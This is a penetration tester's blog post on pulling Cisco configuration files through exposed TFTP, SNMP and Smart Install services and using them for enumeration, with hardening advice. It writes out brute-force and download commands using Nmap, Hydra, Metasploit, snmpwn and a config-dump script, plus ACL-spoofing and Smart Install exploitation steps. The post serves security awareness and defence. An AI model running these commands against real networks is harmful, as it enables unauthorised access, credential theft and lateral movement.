Skip to Main Content
October 06, 2022

Cisco Hackery: How Cisco Configuration Files Can Help Attackers Enumerate Your Network

Written by Michael Bond

1.0 Intro

Prior to making a career change to offensive security, I spent over 15 years working for a Cisco partner designing and implementing enterprise and VoIP networks. During that time, I performed best practice assessments aimed at identifying misconfigurations that could lead to a network compromise. Today, I have taken that knowledge and used it to demonstrate how to compromise networks so that I can help clients strengthen their security posture.

During the reconnaissance phase of a penetration test, I typically look for an exposed TFTP, SNMP, and Cisco Smart Install (SMI) service on a network. Each one of these services provides an avenue to exploit a misconfiguration to download a Cisco configuration file.

Cisco configuration files can provide a wealth of knowledge for an attacker. Not only do configuration files provide information regarding the device, but they also provide additional avenues for further enumeration and possible lateral movement, such as physical and logical neighbor relations, password reuse, user enumeration, and applied access control lists (ACL).

2.0 Configuration File Download

2.1 TFTP

After identifying a TFTP server during the reconnaissance phase, I will rescan the exposed TFTP server port utilizing Nmap with the tftp-enum.nse script. Since TFTP does not provide a directory listing, the NSE script performs basic enumeration of common Cisco configuration file names.

nmap -sU -p69 --script tftp-enum.nse [XXX.XXX.XXX.XXX]
Figure 1: TFTP File Enumeration

If Nmap successfully enumerates a file name, I will use a TFTP client to attach to the device and issue a get request with the enumerated file name.

Figure 2: TFTP File Download

2.1.1 TFTP Mitigation

To aid in securing file uploads and downloads to a Cisco device, consider utilizing Secure Copy Protocol (SCP). SCP utilizes Secure Shell (SSH) to securely transfer data over the network. In addition, SCP can be configurated using authentication, authorization, and accounting (AAA) on the Cisco device. This combination can be further configured to specify which users are authorized to copy files.

Example SCP with AAA:

aaa new-model
aaa authentication login default local
aaa authorization exec default local
ip ssh time-out 120
ip ssh authentication-retries 3
ip scp server enable

However, if business reasons prevent implementing SCP, consider applying an ACL to help secure which IP Address is permitted to connect to the Cisco TFTP server.

Example TFTP ACL:

no access-list 3
access-list 3 remark "TFTP Remote Access"
access-list 3 permit host [XXX.XXX.XXX.XXX]
access-list 3 deny any log
tftp-server nvram:startup-config 3

2.2 SNMP

SNMP is another protocol that can be leveraged to upload or download a Cisco configuration file. However, the Read/Write SNMP community string must be known to upload or download the configuration file using SNMPv1 or SNMPv2c. For SNMPv3 configured Cisco devices, user credentials and membership to an SNMP Read/Write Group must be configured to upload or download a configuration file.

2.2.1 SNMP Observations

An interesting observation I made while researching SNMP, is that Nmap returned the results as SNMPv3, even if SNMPv1 or SNMPv2c was configured on a Cisco device. However, if the community string is identified, Nmap properly enumerates the version of SNMP configured on the Cisco device.

Figure 3: SNMPv1 Cisco Router Configuration
Figure 4: Nmap Results From a Cisco Router SNMPv1 Configuration
Figure 5: Nmap Results for SNMPv1 With Enumerated Public Community String

From my understanding, Cisco's SNMP uses the same MIB for each supported version of SNMP. The main difference between version 2 and version 3 are the security features. Unfortunately, I was not able to obtain a definitive answer as to why Nmap fingerprints SNMP for Cisco devices as SNMPv3 when a lesser version of SNMP is configured.

2.2.2 SNMP Brute-Force Guessing

Since SNMPv3 is identified from tools like Nmap and Nessus, I use two different methods of brute-forcing. The first method is using the community string for SNMPv1/2c, and the second method is user enumeration and password guessing for SNMPv3.

2.2.2.1 SNMPv1 and SNMPv2c

For brute-force guessing an SNMPv1 and SNMPv2c community string, there are multiple tools to get the job done. The following are just a few that I might use during an engagement.

Example Nmap Execution:

nmap -Pn -sUV -p 161 [XXX.XXX.XXX.XXX] --script snmp-brute

Example Hydra Execution:

hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt [XXX.XXX.XXX.XXX] snmp

Example Metasploit Configuration and Execution:

use auxiliary/scanner/snmp/snmp_login
set RHOSTS [XXX.XXX.XXX.XXX]
run

2.2.2.2 SNMPv3

For SNMPv3 brute forcing, I use snmpwn in two stages. The first stage is user enumeration, when I leverage similar techniques that I use to enumerate users from Active Directory or a web login portal. However, snmpwn does require a password list or an encrypted password list while performing enumeration, which technically is a password guessing attack. So, I use a single password within both lists to help eliminate possible user account lockout.

Figure 6: snmpwn User Enumeration

Once I have successfully enumerated a username, I then move to password guessing. This time, I use a single common password (e.g. MonthYear) for both the password and encrypted password to avoid a user account lockout.

Figure 7: snmpwn Password Guessing Results

2.2.3 SNMP File Download

Just like brute-forcing was different for the Cisco versions of SNMP, so is SNMP file download. For SNMPv1 and SNMPv2c, I like to leverage the Metasploit cisco_config_tftp module. For SNMPv3, I was not able to find a public application that would download a Cisco configuration file, so I created config-dump to help automate the process.

2.2.3.1 SNMPv1 and SNMPv2c

The Metasploit cisco_config_tftp module includes automation for starting/stopping the TFTP server. The following is an example of configuring and executing the module:

use auxiliary/scanner/snmp/cisco_config_tftp
set RHOSTS [XXX.XXX.XXX.XXX]
set Community [private]
set OUTPUTDIR [/tmp]
run
Figure 8: Metasploit SNMP Cisco Configuration Download

2.2.3.2 SNMPv3

Utilizing config-dump requires a separate TFTP server, so I usually use a Python3 TFTP server. At a minimum, config-dump requires the target, tftp server, authentication protocol, authentication protocol password, username, and password. Pending the SNMPv3 device configuration, snmpwn might require the protocol and protocol password that will need to be included when executing config-dump.

Example config-dump execution:

python3 config-dump.py -t [XXX.XXX.XXX.XXX] -a SHA -A [Password] -x AES -X [Password] -u [username] -s [XXX.XXX.XXX.XXX]
List of config-dump flags:
-t: SNMPv3 Target
-a: Authentication Protocol (MD5 or SHA)
-A: Authentication Protocol Password
-x: Protocol (DES or AES)
-X: Protocol Password
-u: Username
-s: TFTP Server
Figure 9: config-dump Cisco SNMPv3 Config Download

2.2.4 Mitigation

The best method to secure SNMPv1 and SNMPv2c on a Cisco device is to implement SNMPv3 with an ACL. If business reasons prevent implementing SNMPv3, consider applying an ACL to help secure the IP Address that is permitted to connect to the configured SNMP server.

2.2.4.1 SNMPv1 and SNMPv2 ACL

Example ACL:

no access-list 1
access-list 1 remark ["SNMP Remote Access"]
access-list 1 permit host [XXX.XXX.XXX.XXX]
access-list 1 deny any log
Example ACL Applied to the SNMP Server Community:
snmp-server community [private] RW 1
snmp-server community [public] RO 1

2.2.4.2 SNMPv3 ACL

When applying the ACL to SNMPv3, be sure that the ACL is applied to both the SNMP Server group and user. During my testing, I was able to download the Cisco device configuration file when the ACL was only applied to SNMP Server user or group.

Example ACL:

no access-list 1
access-list 1 remark ["SNMP Remote Access"]
access-list 1 permit host [XXX.XXX.XXX.XXX]
access-list 1 deny any log
Example ACL Applied to both the SNMPv3 Server Group and User:
snmp-server group snmp-ro v3 priv read [SNMPv3View] access 1
snmp-server group snmp-rw v3 priv write [SNMPv3View] access 1
snmp-server user [secret] snmp-rw v3 auth md5 [Password] priv 3des [Password] access 1

2.2.5 SNMPv1 and SNMPv2c Bypass

With SNMPv1 and SNMPv2 securely configured by utilizing a complex community string and an applied ACL, it is possible to bypass security measures to download a Cisco configuration file. Cisco-SNMP-Slap can be leveraged to spoof an IP Address in an ACL which is permitted to download the Cisco configuration file.

Cisco-SNMP-Slap does require knowledge of the network and the targeted Cisco device. For instance, knowing the community string as well as the permitted IP Address range within the ACL is key for a successful spoofing attack. In addition, a TFTP server is required for downloading the configuration file.

Figure 10: Cisco-SNMP-SLAP Execution

2.3 SMI

Cisco SMI is a Plug-N-Play feature that provides Zero-Touch deployment for Cisco switches and communicates on TCP Port 4786. When this feature was first introduced it could not be disabled, which made it vulnerable to Remote Code Execution (RCE). However, Cisco later downgraded the security advisory status to Informational and explained that it was protocol misuse on May 23, 2018.

Figure 11: Cisco SMI Critical Vulnerability
Figure 12: Cisco SMI Information Vulnerability

Nessus modified their vulnerability rating of this finding to information and documented that there was not a risk factor. However, the Cisco device that Nessus scanned was, in fact, vulnerable to the RCE, which was exploited during a penetration test that I performed in the summer of 2022.

Figure 13: Nessus Informational Vulnerability

2.3.1 SMI Vulnerability Discovery

Once initial reconnaissance identified that TCP Port 4786 was open, I will rescan the port with Nmap and leverage the cisco-siet.nse script to identify if the vulnerable RCE is present on the Cisco device.

nmap [XXX.XXX.XXX.XXX] -p 4786 --script cisco-siet.nse
Figure 14: Vulnerable Cisco SMI

2.3.2 SMI Vulnerability Exploitation

For vulnerability exploitation, I use one of two scripts pending the engagement type. If I am performing a penetration test and just want to download the configuration file, I use Cisco SmartInstall Exploit. If I have client permission to modify the device, I will leverage SIET to gain a foothold and then laterally move across the network.

For OPSEC considerations, keep in mind that a device with an IOS version prior to 15.2(2)E will require a reboot if utilizing SIET to modify the Cisco IOS configuration file.

Figure 15: Exploitation of Cisco SMI

2.3.3 SMI Mitigation

The easiest way to mitigate Cisco SMI is by turning it off if it is not in use.

no vstack config

However, if there is a business reason that SMI cannot be disabled, create and apply an inbound ACL to limit the IP Address permitted to access this service.

Create an Access Control List (ACL):

ip access-list extended SMI_HARDENING_LIST
permit tcp host [XXX.XXX.XXX.XXX] host [XXX.XXX.XXX.XXX] eq 4786
deny tcp any any eq 4786
permit ip any any
Apply Inbound ACL to all Interfaces:
ip access-group SMI_HARDENING_LIST in

3.0 Configuration File

After downloading the configuration file from the Cisco device, I review the contents to determine if I can connect to the device to establish a foothold. In addition, I review the SNMP configuration to determine if I can leverage it download additional Cisco device configuration files. Lastly, I review the configuration for any details to aid in further enumerating the network.

3.1 Establish a Foothold

When attempting to establish a foothold, I check the VTY Port configuration to determine connectivity type as well as an applied ACL. In Figure 16, the VTY ports accept a local login via Telnet or SSH and there is not an applied ACL.

Figure 16: SSH Configuration

Next, I review the configured usernames and the configured hashed passwords for possible password recovery. I also make a note for those usernames that do not appear to be shared, like admin and enable, for possible user enumeration against other platforms, such as Active Directory. For those shared usernames, these typically have the same password configured on multiple Cisco devices.

Figure 17: User Enumeration

After recovering a password, I use the configured IP Address to connect to the Cisco device and establish a foothold.

3.2 Configuration Download

Whether I am successful in establishing a foothold or not, I always review the SNMP configuration for additional attack paths. Reviewing Figure 18, there are both the SNMP Read and Read/Write community strings in plaintext. These can be leveraged to perform SNMP brute-force guessing against other exposed SNMP services. In addition, there is a configured SNMP ACL, but it was not applied to either community string. Within the ACL, there is an IP Address that is permitted to access the SNMP server. If the SNMP ACL was applied to other Cisco devices, Cisco-SNMP-Slap could be leveraged with the IP Address to bypass an applied SNMP ACL and download the configuration file.

Figure 18: SNMP Configuration

3.3 Network Enumeration

I review static and dynamic routes as well as configured VLANs and port descriptions to better understand the network environment. In Figure 19, there is a single default static route and no dynamic routing. Vlan254 appears to be the only routed subnet configured on the device. For the other configured VLANs, it would appear that they could be isolated networks, but more enumeration would be required for confirmation.

Figure 19: Routing and VLANs

Taking a closer look at the port descriptions in Figure 20, the Cisco device appears to have a Wireless Access Point configured on the first ethernet interface. In addition, the port description for both ethernet ports 0/2 and 0/3 suggest a VoIP phone system is configured on the network.

Figure 20: Port Descriptions

4.0 Conclusion

As I briefly demonstrated, obtaining a Cisco configuration file could provide an attacker the required information to establish a foothold and laterally move across a network. I am hopeful that the information shared makes both network administrators and security professionals aware of these misconfigures and provides a reference to further improve securing Cisco networks.

5.0 References

https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_usr_ssh/configuration/xe-16/sec-usr-ssh-xe-16-book/sec-usr-ssh-sec-copy.html

https://community.cisco.com/t5/network-management/snmpv2-and-snmpv3-use-same-mib-or-different/td-p/2489644

https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/snmp/command/nm-snmp-cr-book/nm-snmp-cr-s2.html

https://www.cisco.com/c/en/us/td/docs/switches/lan/smart_install/configuration/guide/smart_install/concepts.html

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20180328-smi2.html?dtid=osscdc000283

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi

https://www.tenable.com/plugins/nessus/105161

https://github.com/frostbits-security/SIET